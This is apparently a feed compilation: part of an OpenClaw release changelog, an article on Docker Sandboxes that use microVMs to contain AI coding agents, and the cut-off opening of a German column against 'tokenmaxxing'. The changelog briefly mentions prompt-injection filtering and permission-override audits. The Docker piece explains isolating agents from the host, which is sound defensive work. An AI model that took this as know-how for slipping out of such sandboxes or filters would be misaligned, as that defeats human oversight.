Voice: reuse shared realtime output activity tracking in Google Meet command and node audio bridges, including recent-output checks for local barge-in detection.
Voice: expose shared realtime output activity tracking through the realtime voice SDK and reuse it for Discord playback activity and barge-in decisions.
Voice: expose shared realtime consult question matching, speakable-result extraction, and alias-aware forced-consult coordination through the realtime voice SDK, then reuse it in Gateway Talk, Voice Call, and Discord voice paths.
Voice: share activation-name matching and consult-transcript screening through the realtime voice SDK so Discord, browser voice, and meeting surfaces can reuse one implementation.
Cron: default cron.maxConcurrentRuns to 8 so scheduled automations and their isolated agent turns can make progress in parallel without explicit configuration.
QA-Lab: add qa coverage --match so focused proof selection can discover matching scenarios from existing metadata before running live or remote lanes.
Discord/model picker: surface an alpha-bucket select (e.g. A–G (12) · H–N (18) · O–Z (5)) when the provider list or a provider's model list exceeds 25 items, so configs with provider/* wildcards stay one click from the right page instead of paginating through prev/next; falls back to numeric chunks when every item shares the same first letter.
Control UI: add an ephemeral Activity tab for sanitized live tool activity summaries without persisting raw telemetry. Fixes #12831. Thanks @BunsDev.
Build: include ui:build in the full and ciArtifacts profiles of scripts/build-all.mjs so pnpm build always rebuilds dist/control-ui after tsdown cleans dist, removing the second-command requirement and the missing-asset failure mode for source/runtime installs and CI artifact uploads. (#85206)
iOS: improve Talk mode with direct realtime voice sessions, compact toolbar status, and responsive voice waveform feedback. (#86355) Thanks @ngutman.
Media: replace the Sharp image backend with Rastermill for metadata, resizing, EXIF orientation, and PNG alpha-preserving optimization so OpenClaw no longer installs Sharp or the WhatsApp Jimp fallback for image processing. (#86437)
Codex: update the bundled Codex CLI to 0.134.0 and keep native compaction disabled for budget-triggered app-server turns so OpenClaw owns the recovery boundary. (#86772)

Fixes

Memory/security: reject prompt-like text submitted through the explicit memory_store tool before embedding or storage, matching the existing auto-capture prompt-injection filter. (#87142)
Gateway/security: enable the default auth rate limiter for remote non-browser and HTTP gateway auth failures when gateway.auth.rateLimit is unset, while preserving the loopback exemption. (#87148)
Security/content boundaries: validate Browser snapshot tab URLs against SSRF policy before ChromeMCP or direct CDP reads, sanitize queued system-event text so untrusted plugin/channel labels cannot spoof nested prompt markers, wrap fetched file text and metadata as external content, apply ClickClack allowFrom sender allowlists before agent dispatch, reject RPCs from invalidated device-token clients during rotation, require staged sandbox media refs, and scrub serialized tool-call text from replies. (#78526, #87094, #87062, #83741, #70707, #86924) Thanks @zsxsoft, @ttzero25, and @mmaps.
Transcripts/user turns: persist CLI, WebChat, media, follow-up, hook, and Codex-mirror user turns to the admitted session target; keep cleaned transcript text, inline image routing, provenance metadata, replay hooks, and fallback paths idempotent when runtimes fail or restart.
TUI/status/onboarding/UI: queue busy TUI prompts instead of dropping them, preserve the configured default model during onboarding, show failed tool results as errors, show config-open failures in Control UI, keep status JSON plugin scans healthy, preserve xAI usage-limit errors locally, and expose explicit fast-mode/systemd state. (#86722, #87000, #85786, #87108, #87001, #86614, #87115, #86976)
Plugin commands/SDK: preserve plugin LLM command auth, bind native plugin command dispatch to the host agent's LLM auth, keep onDiagnosticEvent exports discoverable through Function.name, stabilize diagnostic event root aliases, correlate pathless read diagnostics, suppress transient runner failures in channel command paths, and repair local approval resolution. (#85936, #87084, #86977, #87069, #86771)
Codex/providers: keep WebChat delivery hints out of user prompts, avoid false queued-terminal idle timeouts, share the native hook relay registry, quarantine unsupported dynamic tool schemas, preserve Claude resumed-session system prompts, normalize greedy Ollama top_p, preserve per-agent thinking defaults for ingress runs, and avoid native compaction takeover on budget-triggered Codex turns. (#87096, #73950, #87049, #86689, #86772)
Gateway/perf/release: reuse startup-warning metadata and prepared auth stores, avoid cloning live-switch and lifecycle session caches on read paths, defer warning and scheduled-service fallback imports, trim Gateway session/startup/runtime CPU churn, skip duplicate turn session touches, stop chat timeout fallback cascades, drop stale subagent announce history, bound benchmark/watch/kitchen-sink teardown waits, bound macOS/package/onboarding/plugin smoke commands, bound install finalization probes, resolve Parallels npm-update commands from guest PATH, and bootstrap raw AWS macOS Node/pnpm commands through /usr/bin/env. (#86997)
Reply/perf: reduce visible reply delivery latency by preserving Telegram typing/progress context, lazy-loading slash-command startup metadata, avoiding hot-path model hydration, flag-gating Codex profiler timing, deferring context compaction maintenance, and tracking delivery timing. (#86989, #86990, #86991, #86992, #86993, #86994) Thanks @keshavbotagent.
Reply/source delivery: keep TUI, Control UI, media, TTS, transcript, and Codex source-reply finals live without duplicate terminal events or stale replay artifacts.
Agents/replay: repair legacy tool results before replay, preserve sessions_spawn transcript payloads, restore current guard checks, stage sandboxed workspace media, and keep duplicate transcripts tool display metadata from reappearing. (#82203, #86934, #87025) Thanks @martingarramon, @vincentkoc, and @joshavant.
Agents/sessions: handle active-fallback failures in sessions_send so fallback routing reports the real failure and does not leave callers with an ambiguous dropped send. (#86638)
Agents/hooks/subagents: enforce default hook agent allowlists, recover failed subagent lifecycle completions, and keep node task lifecycle cleanup from closing the Gateway listener. (#86101)
Codex: project newer OpenClaw chat history into resumed app-server threads and keep Codex turn timeouts inside the Codex runtime boundary so timeouts do not poison shared app-server clients or fall through to unrelated provider fallback. (#86677, #86476) Thanks @TurboTheTurtle and @pashpashpash.
Config/doctor/update: narrow profiled tool-section doctor repair, keep runtime-injected legacy web-search provider config out of user-authored config validation, and keep prerelease tags excluded from stable updater resolution. (#87030, #86818, #86559) Thanks @joshavant, @luoyanglang, and @stevenepalmer.
CLI/Windows: add a Windows-only stack-size respawn for stack-heavy startup paths, default CLI logs to local timestamps, and validate timeout/banner TTY state more strictly. (#87031, #85387) Thanks @giodl73-repo and @vincentkoc.
Locking/security: require owner identity proof before stale plugin lock removal, memoize session lock owner arguments, and avoid writing default exec approval stores unless policy state actually changed. (#86814, #86964) Thanks @Alix-007 and @vincentkoc.
Install/release: bound Docker package build, inventory, pack, and tarball preparation with process-group timeouts; pin shrinkwrap patch drift to the pnpm lock; harden macOS restart and dSYM packaging; and run release Docker/live timeout wrappers in the foreground so child processes cannot wedge gates.
Telegram/network: treat ENETDOWN as a transient pre-connect network failure so Telegram sends, gateway unhandled-rejection handling, and cron network retries follow the same recovery path as sibling network outages. (#86762) Thanks @TurboTheTurtle.
Telegram: preserve inbound text entities, overlapping DM replies, account topic cache sidecars, outbound reply context, targeted bot-command mentions, durable group retry targets, forum topic names, and native progress callbacks. (#83873, #85361, #85555, #85656, #85709, #86299, #86553) Thanks @SebTardif, @luoyanglang, and @neeravmakwana.
iMessage: read image attachments from local Messages attachment roots, dedupe duplicate local Messages-source accounts, seed direct DM history, fix image/group media attachment commands, advance catchup cursors after live handling, and keep slash-command acknowledgements in the source conversation. (#82642, #85475, #86569, #86705, #86706, #86770) Thanks @homer-byte, @TurboTheTurtle, @swang430, and @omarshahine.
WhatsApp/QQ/Twitch/IRC/Slack: restore WhatsApp ack identity and group-drop warnings, make QQ Bot media respect OPENCLAW_HOME, serialize Twitch auth disconnects, store IRC channel routes canonically, and keep Slack downloaded files out of reply media. (#83833, #85309, #85777, #85794, #85906, #86318, #86697) Thanks @sliverp, @neeravmakwana, and @Kailigithub.
Discord/voice: improve voice playback and wake replies, bucket large model picker menus, merge media captions into one message, route metadata through configured proxies, restore numeric channel sends, suppress self-reply echoes, and tighten wake matching without breaking fuzzy wake phrases. (#80227, #86238, #86487, #86571, #86595, #86601)
Codex: preserve native web-search metadata, keep oversized native thread reuse, bridge CLI API-key auth into the app server, preserve sandbox bootstrap path style, recover context-window prompt errors, honor yolo approval policy, disable native thread personality, and route compaction through Codex auth. (#85378, #85542, #85891, #85909, #86408)
Agents/runtime: enforce session lock max-hold reclaim, release embedded-attempt locks on all exits, treat aborted subagent runs as terminal, avoid runtime model hydration on hot paths, disclose scoped session list counts, derive overflow budgets from provider errors, and keep fallback errors scoped to the active model candidate. (#70473, #85764, #86014, #86134, #86427, #86944) Thanks @openperf, @fuller-stack-dev, @zhangguiping-xydt, and @ferminquant.
Config/update/doctor: retry config recovery after failed backup restore, skip shell env fallback on Windows, exclude prerelease tags from the stable git channel, support deep config edits, warn instead of aborting on unreadable cron stores, prune stale bundled plugin paths, and avoid duplicate restart prompts when the Gateway is already healthy. (#85739, #85787, #86060, #86260, #86384, #86533) Thanks @liaoyl830.
Install/release: support Alpine CLI installs and runtime floors, prefer trusted startup argv runtime fallback roots, reject stale CLI node runtimes, avoid npm min-release-age installer failures, bound npm/package/Docker install phases, restore config parent ownership in Docker, seed Docker lockfile package tarballs before prune, make release/plugin prerelease checks fail closed instead of hanging or false-greening, and use host-visible Crabbox local work roots for Docker-backed proof. (#85491)
Windows daemon: keep Scheduled Task gateway launches running on battery power and avoid workgroup-machine prompts for a domain user during task installation. (#59299)
Security: avoid printing Gateway tokens in Docker, validate plugin model-pattern regexes safely, escape transcript metadata field names, harden session allowlist glob matching, audit Claude permission overrides under YOLO, and require explicit allow for ACP auto approvals. (#85849, #85934, #86046, #86557)
Media/images: replace Sharp with Rastermill, keep EXIF normalization best-effort, normalize HEIC/HEIF before image descriptions, route Codex image API keys through OpenAI, preserve image compression metadata, and auto-scale live tool result caps. (#85776, #86037, #86437, #86857, #86923)
Memory: prevent semantic vector indexes from silently degrading when embeddings are unavailable, stop doctor OOMs on large session stores, preserve sidecar hooks/artifacts, write fallback dream diaries, use CJK-aware dreaming dedupe, and avoid per-file watcher FD fan-out. (#80613, #82928, #85060, #85704, #85967, #86701) Thanks @brokemac79, @openperf, and @yaaboo-gif.
Agents/sessions: include visibility metadata on restricted sessions_list results so scoped counts are clearly reported without widening access or exposing hidden-session counts. (#86944) Thanks @ferminquant.
Gateway/DNS: validate wide-area discovery domains before deriving zone paths or writing zone files, so invalid discovery.wideArea.domain and dns setup --domain values fail with a DNS-name diagnostic instead of falling through to unrelated configuration errors. Thanks @mmaps.
Agents/BTW: route fallback side-question streams through the embedded stream resolver so Anthropic-compatible MiniMax requests use the same capped transport as normal chat. (#86312) Thanks @neeravmakwana.
Telegram: treat /command@TargetBot bot-command entities as explicit mentions for the addressed bot so requireMention groups no longer drop targeted commands or captions. Fixes #84462. (#86553) Thanks @luoyanglang.
CI: bound Docker/Bash E2E tarball npm installs with OPENCLAW_E2E_NPM_INSTALL_TIMEOUT so package, onboarding, plugin, and upgrade lanes fail instead of hanging on a stuck npm install.
CI: fail Parallels npm-update smoke jobs after the guest command timeout and cleanup backstop instead of only logging a timeout line.
CI: bound kitchen-sink RPC HTTP probes so stalled gateway readiness or response bodies fail and retry instead of wedging the walker.
CI: keep OPENCLAW_TESTBOX=1 pnpm check:changed delegating to Blacksmith Testbox through Crabbox without forwarding local Testbox or worker env into the remote command.
CI: send KILL after the TERM grace period for manual checkout fetch timeouts so stuck Testbox and workflow checkout retries cannot hang behind a wedged git fetch.
CI: send KILL after the TERM grace period for Bun global install smoke command timeouts so trapped openclaw child processes cannot wedge the scheduled install smoke.
iMessage: thread current channel/account inbound attachment roots into the image tool so iMessage-saved attachments under ~/Library/Messages/Attachments (including the wildcard /Users/*/Library/Messages/Attachments root) are read through the existing inbound path policy instead of being rejected as path-not-allowed. Literal localRoots stays workspace-scoped. Fixes #30170. (#86569)
QQ Bot: respect OPENCLAW_HOME for outbound media path resolution so sends no longer silently fail when HOME and OPENCLAW_HOME differ (Docker / multi-user hosts). Persisted QQ Bot data (sessions, known users, refs) stays anchored on the OS home for upgrade compatibility. Fixes #83562. Thanks @sliverp.
Update: report the primary malformed openclaw.extensions payload error without adding a duplicate missing-main diagnostic. (#86596) Thanks @ferminquant.
Control UI: keep host-local Markdown file paths inert while preserving app-relative links. (#86620) Thanks @BryanTegomoh.
Gateway: dampen repeated unauthenticated device-required probes per URL while preserving explicit-auth and paired recovery paths. (#86575) Thanks @ferminquant.
IRC: store inbound channel routes with the canonical channel:#name target and join transient channel sends before writing. (#85906) Thanks @Kailigithub.
Usage: surface unknown all-zero model pricing as missing cost entries instead of a confident $0 total. (#85882) Thanks @MichaelZelbel.
Agents/Codex: honor yolo app-server approval policy only for the full never plus danger-full-access case. (#85909) Thanks @earlvanze.
Gateway/Gmail: clear Gmail watcher renewal intervals on re-entry so hot reloads do not leak lifecycle timers. (#82947) Thanks @SebTardif.
Logging: exit cleanly on broken stdout/stderr pipes without masking existing failure exit codes. (#80059) Thanks @pavelzak.
Gateway/security: escape transcript metadata field names while extracting oversized session line prefixes. (#85934) Thanks @SebTardif.
Plugins/security: validate manifest model pattern regexes with the safe-regex compiler so unsafe patterns are ignored before matching. (#86046) Thanks @SebTardif.
Discord: route gateway metadata REST lookups through the configured Discord proxy so proxied accounts do not fall back to direct discord.com connections before opening the WebSocket. Fixes #80227. Thanks @Clivilwalker.
Agents/media: hydrate current-turn image attachments from filename-derived MIME types so active vision can see generated or forwarded images whose source omitted an image content type. (#84812) Thanks @marchpure.
Agents/fs: point workspace-only scratch-path guidance at in-workspace temp directories while keeping host-root writes rejected by the tool guard. (#86501) Thanks @tianxiaochannel-oss88.
Agents/media: keep async cron media completions scoped to their run session while preserving direct delivery for stale generated-media success and failure notifications. (#86529) Thanks @ai-hpc.
Gateway: emit plugin session_end/session_start hooks when agent.send rotates or replaces a session id, keeping hook lifecycle state aligned with sessions.changed notifications. Fixes #83507. (#85875) Thanks @brokemac79.
OpenShell/SSH: reject malformed generated exec commands before sandbox/session setup so unresolved workflow placeholders fail fast instead of reaching the remote shell. Fixes #72373. Thanks @brokemac79.
Google: stop normalizing gemini-3.1-flash-lite to the retired preview endpoint and update Flash Lite alias guidance to the GA model id. Fixes #86151. (#86240) Thanks @SebTardif.
Installer: make Alpine apk installs cover Git, verify the Node runtime floor, try nodejs-current, and report Alpine version guidance when repositories only provide older Node packages.
Agents/status: prefer the active Claude CLI OAuth auth label over an unused Anthropic env API-key label for equivalent runtime aliases. Fixes #80184. (#86570) Thanks @brokemac79.
Agents/media: send direct fallback for generated media still missing after an active requester wake fails. (#85489) Thanks @fuller-stack-dev.
Agents: derive overflow compaction budgets from provider-reported and synthetic over-budget token counts so confirmed context overflows compact before retrying. (#70473) Thanks @fuller-stack-dev.
Agents/Codex: recover Codex context-window prompt errors through overflow compaction and surface reset guidance when recovery is exhausted. (#85542) Thanks @fuller-stack-dev.
Agents/Codex: allow Codex app-server runs to bootstrap from CODEX_API_KEY or OPENAI_API_KEY when no Codex auth profile is configured.
Agents/Codex: keep selected Codex runtime routing on OpenAI-Codex while preserving direct OpenAI API-key compaction fallback. (#86408) Thanks @funmerlin and @VACInc.
Agent transcript: include OpenClaw agent session logs when finding local transcript candidates.
Crabbox: bootstrap raw AWS macOS shell commands wrapped in absolute time paths so RSS probes can run Node and pnpm on fresh macOS runners.
Crabbox: bootstrap raw AWS macOS shell commands even when setup statements precede Node or pnpm usage.
TUI/local: skip unnecessary secret resolution, gateway model catalog loading, bootstrap, and skill scans in explicit local-model runs so startup reaches the model request faster.
Sessions/doctor: load large session stores without clone amplification during read-only doctor checks and reclaim stale sessions.json.*.tmp sidecars. Fixes #56827. Thanks @openperf.
Tests: clean successful plugin gateway gauntlet isolated temp roots while keeping an explicit preservation switch for failed/debug runs.
Plugins/perf: reuse derived plugin metadata snapshots for the lifetime of the process so reply-time skill setup no longer rescans plugin metadata on every turn.
Discord/OpenAI voice: keep wake-name master consults using the current speaker context after ignored ambient transcripts and shorten the default capture silence grace.
Doctor: skip redundant Gateway restart prompts when a recent supervisor restart leaves the Gateway healthy. Fixes #86518. (#86533) Thanks @liaoyl830.
Cron: restore suspended cron lanes to the configured/default concurrency instead of falling back to one after quota or circuit-breaker auto-resume.
Gateway: keep session-only Control UI tool-start mirrors flowing during diagnostic queue pressure instead of silently dropping non-terminal tool updates.
Agents/memory: return optional not-found context for missing date-only daily memory reads instead of logging benign first-run ENOENT failures. Fixes #82928. Thanks @galiniliev.
Discord: merge streamed text captions into following media block replies so captions and attachments send as one message. (#86487) Thanks @neeravmakwana.
Gateway: avoid sending duplicate tool-event frames to Control UI connections that are subscribed by both run and session.
Discord/OpenAI voice: accept broader edge-position fuzzy wake-name transcripts while keeping ambient speech gated.
Discord/OpenAI voice: accept longer leading wake-name mistranscripts such as "Open Club" for OpenClaw.
Agents/OpenAI-compatible: stop ModelStudio-compatible chat requests before sending system/tool-only payloads that have no usable user or assistant turn. (#86177) Thanks @TurboTheTurtle.
Gateway/plugins: reuse plugin package realpath checks while building installed plugin indexes so startup avoids repeated filesystem resolution work.
Kilo Gateway: send string stop sequences as arrays so Kilo accepts OpenAI-compatible chat completions. (#86461) Thanks @SebTardif.
Discord/OpenAI voice: accept leading fuzzy wake-name transcripts such as "Monty" or "Moti" for a Molty agent while keeping ambient speech gated.
Media understanding: convert HEIC and HEIF images to JPEG before image description providers run so iPhone photos work in direct and configured image-description flows. (#86037)
Agents: release embedded-attempt session locks from outer teardown so post-prompt exceptions cannot wedge later requests behind SessionWriteLockTimeoutError. Fixes #86014. Thanks @openperf.
Discord/OpenAI voice: rotate Realtime sessions at provider max duration without logging the expected session-expiry event as an error.
Sessions: skip metadata-only entries during QMD-slugified session lookup so one incomplete row does not block transcript hit resolution. (#86327) Thanks @abnershang.
Agents/media: derive bundled plugin local-media trust from plugin tool metadata instead of importing the full plugin registry on subscription paths. (#84409) Thanks @samzong.
Image tool: keep config-backed custom-provider API keys usable for auto-discovered vision models, including deferred image-tool execution without env keys or auth profiles. (#85733)
Memory/local embeddings: run local GGUF embeddings in an isolated worker sidecar and degrade to configured fallback or keyword search on worker failure so native embedding crashes do not take down the Gateway. (#85348) Thanks @osolmaz.
Gateway: clear the runtime config snapshot before SIGUSR1 in-process restarts so config changes survive the next gateway loop. (#86388) Thanks @XuZehan-iCenter.
Models: show OAuth delegation markers as configured models.json auth while keeping runtime route usability checks strict. (#86378) Thanks @rohitjavvadi.
Cron: seed active scheduled and manual cron task rows with a progress summary so status surfaces do not look blank while jobs run. (#86313) Thanks @ferminquant.
Cron: preserve unsupported persisted cron payload rows during routine store writes while keeping those rows non-runnable. Fixes #84922. (#86415) Thanks @IWhatsskill.
Updater: exclude prerelease git tags from stable channel resolution so source updates do not check out newer alpha/rc/preview/canary tags. (#86260) Thanks @stevenepalmer.
Security/Audit: flag webhook hooks.token reuse of active Gateway password auth in openclaw security audit while keeping password-mode startup compatibility. (#84338) Thanks @coygeek.
QQBot: derive the outbound reply watchdog from configured agent and provider timeouts so slow local model replies are not cut off at five minutes. Fixes #85267. (#85271) Thanks @SymbolStar.
Agents/heartbeat: stop heartbeat turns after the first valid heartbeat_respond so repeated response loops do not burn tokens. (#86357) Thanks @udaymanish6.
Tasks: keep retained lost tasks out of default status health counts, explain their cleanup window during maintenance, and prune lost task records after 24 hours instead of the general 7-day terminal retention.
Memory-core: keep REM dreaming focused on live light-staged memories and mark staged entries as considered so old recall history no longer dominates fresh candidates. (#86302) Thanks @SebTardif.
Memory: abort sync instead of downgrading an existing semantic vector index to FTS-only when the configured embedding provider is temporarily unavailable. (#85704) Thanks @yaaboo-gif.
Telegram: propagate forum topic names through the account-scoped topic cache for native command context and topic create/edit actions. (#86299) Thanks @SebTardif.
Slack: keep downloaded read-only files out of reply media so Slack file reads do not echo files back to the conversation. (#86318) Thanks @neeravmakwana.
Cron: accept leading-plus relative durations such as +5m for one-shot --at schedules. (#86341) Thanks @mushuiyu886.
Agents/media: preserve async-started media tool metadata so background generation starts no longer surface generic incomplete-turn warnings while replay stays unsafe. (#85933) Thanks @fuller-stack-dev.
Docker E2E: dedupe scheduler lane resources so npm/service package lanes are not over-counted and serialized unnecessarily.
QA/diagnostics: add a collector-backed OpenTelemetry smoke lane, make the OTLP payload leak check scenario-aware, and keep source QA builds from failing on optional dependency imports resolved through pnpm's temp module path.
Crabbox: bootstrap Git metadata for sparse remote changed gates so raw synced workspaces can run pnpm check:changed from the intended diff.
xAI/LM Studio: avoid buffering ordinary bracketed or final prose until stream completion while watching for plain-text tool-call fallbacks.
Doctor: warn and continue when the cron job store exists but cannot be read so later health checks still run. Fixes #86102. (#86384) Thanks @1052326311.
Discord: suppress a bot's previous reply body and referenced media from prompt context when a user replies to that bot message, while keeping reply metadata for routing. (#86238) Thanks @fuller-stack-dev.
Discord: restore bare numeric channel IDs for outbound message-tool sends while keeping explicit DM targets unambiguous. (#86571) Thanks @joshavant.
Docker E2E: avoid rebuilding the Control UI twice while preparing the shared OpenClaw package tarball for package-backed scenario runs.
Tests: avoid rebuilding the Control UI twice during the installer Docker smoke now that pnpm build includes ui:build.
Tests: give QA config mutation RPCs enough native Windows budget to finish gateway config writes and restart settle after hot scenario runs.
Tests: keep the gateway restart-inflight QA scenario focused on restart recovery on native Windows by allowing expected embedded prompt handoff errors and using the Windows-safe timeout budget.
QA-Lab: make the synthetic OpenAI provider honor generic reply exactly: directives after required kickoff reads so restart-recovery scenarios do not fall through to generic repo-summary prose.
Gateway: abort active agent RPC runs during forced restart shutdown so stale in-process turns cannot keep writing a session after the Gateway lifecycle restarts.
Crabbox: sync clean sparse worktrees through a temporary full checkout even when reusing an existing lease so tracked build-time files are not omitted.
Build: route scripts/ui.js through the shared pnpm runner and keep Control UI chunking helpers in sparse-included source so native Windows Corepack builds can produce dist/control-ui.
Tests: give the memory fallback QA scenario enough turn budget to exercise native Windows gateway runs instead of failing on the client timeout while the mock agent is still dispatching.
Tests: collect QA gateway CPU/RSS metrics on native Windows and give the channel baseline enough turn budget to report slow gateway runs instead of timing out before proof.
Install/update: bypass npm min-release-age policies with --min-release-age=0 instead of --before so hosted installers keep working on npm versions that reject the combined config. (#84749) Thanks @TeodoroRodrigo.
Diagnostics: reclaim wedged session lanes when stale active-run bookkeeping blocks queued work despite no forward progress. Fixes #85639. Thanks @openperf.
WebChat: keep message-tool replies visible in the chat while still summarizing internal tool results for the model. Fixes #86347. Thanks @shakkernerd.
Gateway/perf: fail startup benchmark samples when the Gateway process exits before benchmark teardown, including signal deaths after readiness probes.
Gateway/perf: fail restart benchmark samples when the Gateway exits before benchmark teardown, including clean exits and signal deaths after successful restart probes.
Agents/tests: keep model catalog visibility on static selection helpers so catalog visibility checks avoid the broad model-selection barrel import.
Agents/commitments: serialize commitment store load-modify-save writes so concurrent heartbeat and CLI updates no longer lose dismissal, sent, or attempt state. (#81153) Thanks @ai-hpc.
xAI/LM Studio: promote plain-text tool-call fallbacks into structured tool calls and strip leaked internal tool syntax before user-facing delivery. (#86222) Thanks @fuller-stack-dev.
CLI: suppress benign self-update version-skew warnings during package post-update finalization.
Gateway/perf: tighten restart and startup benchmark failure handling so long profiling runs, failed probes, and fresh Linux runners no longer produce false passing or n/a results.
Checks: keep intentional Knip unused-file findings optional so full CI and sparse proof workspaces stay aligned.
Docker: restore writable ~/.config in runtime images. Fixes #85968. Thanks @hkoessler and @Bartok9.
Plugin SDK: keep legacy root diagnostic subscriptions connected when built plugin SDK aliases resolve diagnostic helpers through a separate module graph.
Diagnostics: export alertable OTel and Prometheus signals for blocked tools, model failover, stale sessions, liveness warnings, oversized payloads, and webhook ingress while fixing shared OTLP endpoints with query strings.
Tests: normalize macOS canonical temp paths in exec allowlists, fs-safe trash assertions, installed plugin matching, Telegram topic-name stores, and built ACPX MCP server expectations so native macOS proof runners cover the intended behavior.
Codex/app-server: preserve message-tool-only source reply delivery mode on active runs so sub-agent completion wakeups can steer the active Codex turn instead of being rejected. (#86287) Thanks @ferminquant.
Tests: sample the Windows kitchen-sink RPC gateway directly and serialize RSS probes so native runs keep the memory guard active.
Tests: normalize bundled plugin lifecycle probe paths and state-root lookup so native Windows release sweeps accept valid packaged plugin installs.
Agents/Claude CLI: route live native Bash permission requests through OpenClaw exec policy so Claude turns no longer stall on control_request, and document that OpenClaw exec policy is authoritative. Fixes #80819. (#86330, from #81971) Thanks @guthirry and @sallyom.
Security audit: warn when YOLO OpenClaw exec policy overrides a restrictive raw Claude --permission-mode for managed live sessions. (#86557) Thanks @sallyom.
Config: keep benign legacy metadata write anomalies out of default doctor and config command output while preserving explicit anomaly logging for diagnostics.
Codex: log when implicit app-server never approvals are promoted for OpenClaw tool policy, including whether the trigger was a before_tool_call hook or trusted tool policy.
Codex harness: make subscription usage-limit errors without reset times explain that OpenClaw cannot determine the reset and point users to wait until Codex is available, use another Codex account, or switch to another configured model/provider. Thanks @amknight.
Google Vertex: support production ADC modes such as Workload Identity Federation, service-account credentials, and metadata-server ADC for the native Vertex transport. (#83971) Thanks @damianFelixPago.
Telegram: route normal [telegram][diag] polling diagnostics through runtime.log while keeping non-diag warnings and persistence failures on runtime.error, so healthy polling startup no longer looks like an error. Fixes #82957. (#82958) Thanks @galiniliev.
Providers/Ollama: strip inline Kimi cloud reasoning prefixes from streamed and final visible replies while keeping ordinary Kimi answers append-only. (#86286) Thanks @jason-allen-oneal.
Gateway: require Talk secret authority before setup-code handoff can include Talk secrets. (#85690) Thanks @ngutman.
Agents: keep fallback error reporting scoped to the active model candidate so stale prior-provider quota/auth text is not reported for later fallback attempts. (#86134) Thanks @zhangguiping-xydt.
iMessage: dedupe watcher startup when channels.imessage.accounts lists both default and a named account that point at the same local Messages source, so the gateway no longer spawns two imsg rpc processes or doubles inbound replies; the dedupe is scoped to watcher startup, leaving duplicate accounts addressable for outbound sends, status, and capability listings, and openclaw doctor flags the redundant account with a rebinding hint. Fixes #65141. (#86705) Thanks @swang430.

Docker Sandboxes and microVMs, explained

Wed, 27 May 2026 11:04:04 +0200

With the rise of agentic AI, developers need secure but also lightweight solutions for running their agents. The agent should be able to do all the things a human developer could do with containers — build them, install software into them, and modify files they have access to — but in a way that protects the host system from the agent doing something destructive.

Docker offers several different levels of isolation for running containers. Each comes with its own trade-offs. Some are faster, but less inherently secure; others are slower, but better protected against attack or egress. In April, Docker introduced a new kind of isolation for containers, one specifically designed to run AI agents: Docker Sandboxes.

Docker Sandboxes explained

Docker Sandboxes use what is called a “microVM” to isolate containers. A microVM is a virtual machine that runs on the native hypervisor of the host operating system for isolation. The “micro” comes from the design of the VM, which is specifically for running workloads that need to start up quickly, tear down quickly, and not gobble too many system resources.

The microVM itself is a custom-built, cross-platform project for Docker, designed to run directly on the hypervisor architecture for all three major platforms: Linux (KVM), macOS (Hypervisor.framework), and Microsoft Windows (Windows Hypervisor Platform). The behavior of the microVM is intended to be the same across the board, with native support for each hypervisor.

Normally, the Docker daemon runs directly on the host. Containers run with minimal overhead, but also with less isolation compared to the full isolation of a VM. With microVMs, each container has its own isolated instance of the Docker daemon, along with its own kernel. No persistent state is kept in the microVM, so they can be killed and restarted as needed.

Docker Sandboxes and agentic AI

The combination of nimbleness, light weight, and full isolation is designed to make Docker Sandboxes a better environment for AI agents than regular containers or full VMs. Regular containers don’t provide enough isolation from the host to keep an AI agent from causing problems, and full VMs have too much overhead to work well with the ad hoc nature of agentic workloads.

A sandboxed container provides whatever runs inside it with locally scoped access to directories, network endpoints, and secrets, all of which are injected at run time and not part of the container’s definition. The agent can run all of Docker’s commands (build, run, compose), but in complete isolation from other containers and the host system.

Even with these enhancements, there’s still potential for problems. A sandboxed agent could pull and build containers without restraint, for example, eating up bandwidth and system resources. That said, those kinds of problematic behaviors are more easily contained and cleaned up after than, say, having one’s system trashed or production data deleted.

Docker Sandboxes beyond AI

Although Docker Sandboxes may have been designed for AI coding agents, their feature set extends into scenarios far beyond agentic AI workloads. Docker Sandboxes provide another level of isolation and flexibility to containers generally.

Consider malware analysis. A piece of malware run in a microVM could be run through a great many different analysis scenarios — more in a given timeframe than with a conventional VM, since microVMs start and stop faster.

Other scenarios also come to mind, as noted by Nathan Flurry of Rivet. One use case would be to allow third parties to run untrusted code. A coding platform that allows users to upload and run their own code, for instance, could be configured to use microVMs to run the code in isolation, and terminate it cleanly and automatically (e.g., when some resource quota is used up). Another use case would be software build pipelines. By isolating each build process inside a microVM container, teams could prevent conflicts between builds and achieve more predictable performance.

Right now, the Docker Sandbox system caters primarily to agentic AI clients, but it is possible to start a shell and run your own code inside a sandboxed container. You can also build a custom sandbox with a template or a kit, although kits are in an experimental stage right now.

Docker Sandboxes and its companion tools open the door for any number of experiments with microVMs. AI agents may be the founding and prominent use case for Docker Sandboxes, but they are just the tip of the iceberg.

Tokenmaxxing ist einfach nur dumm

Wed, 27 May 2026 06:07:47 +0200

Tokenmaxxing ist der neueste abwegige Trend im langen Kampf darum, die Produktivität von Entwicklern zu messen.

DC Studio | shutterstock.com

Scheinbar haben Softwareentwickler in Diensten von Meta, die sich voll und ganz der KI-gestützten Programmierarbeit verschrieben haben, einen neuen Weg gefunden, ihr Engagement zu messen. Dieser manifestiert sich in Form einer internen Rangliste, die erfasst, welcher Dev die meisten Token mit Claude Code verbraucht. Das nennt sich auch „Tokenmaxxing“ und ist eine der dümmsten Ideen, die mir seit langem begegnet ist.

Denn bei diesem Wettlauf darum, wer die meisten Token verbraucht, spielt es keine Rolle, ob daraus ein gutes Ergebnis entstanden ist. Die Rankings sind einfach nur dazu da, damit sich die Beteiligten mit zweifelhaften Titeln wie „Token Legend“ oder „Cache Wizard“ schmücken können. Auch bei Microsoft, OpenAI und Salesforce spielt(e) sich offenbar Ähnliches ab.

3 Gründe gegen Tokenmaxxing

Softwareentwickler zu führen, ist eigentlich schon schwer genug. Das hat diverse Gründe, aber der wohl wichtigste ist, dass sich der Softwareentwicklungsprozess, beziehungsweise die Produktivität der Developer nur sehr schwer (bis gar nicht) messen lässt. Was nicht heißen soll, dass das nicht versucht wurde. Im Gegenteil: Im Laufe der Jahre wurden Code-Zeilen, Storypoints, Arbeitsstunden insgesamt und pro Task oder auch die wöchentlich behobenen Bugs gemessen – unter anderem. All diese „Kennzahlen“ haben dabei zwei Dinge gemeinsam: Sie funktionieren nicht und werden am Ende nur manipuliert.

Deshalb tun wir uns meiner Meinung nach mit Anwandlungen wie Tokenmaxxing alles andere als einen Gefallen. Warum, lege ich auch gerne dar:

Erstens sagt es nicht wirklich etwas aus, wenn gemessen wird, wie viele Token verbraucht wurden.
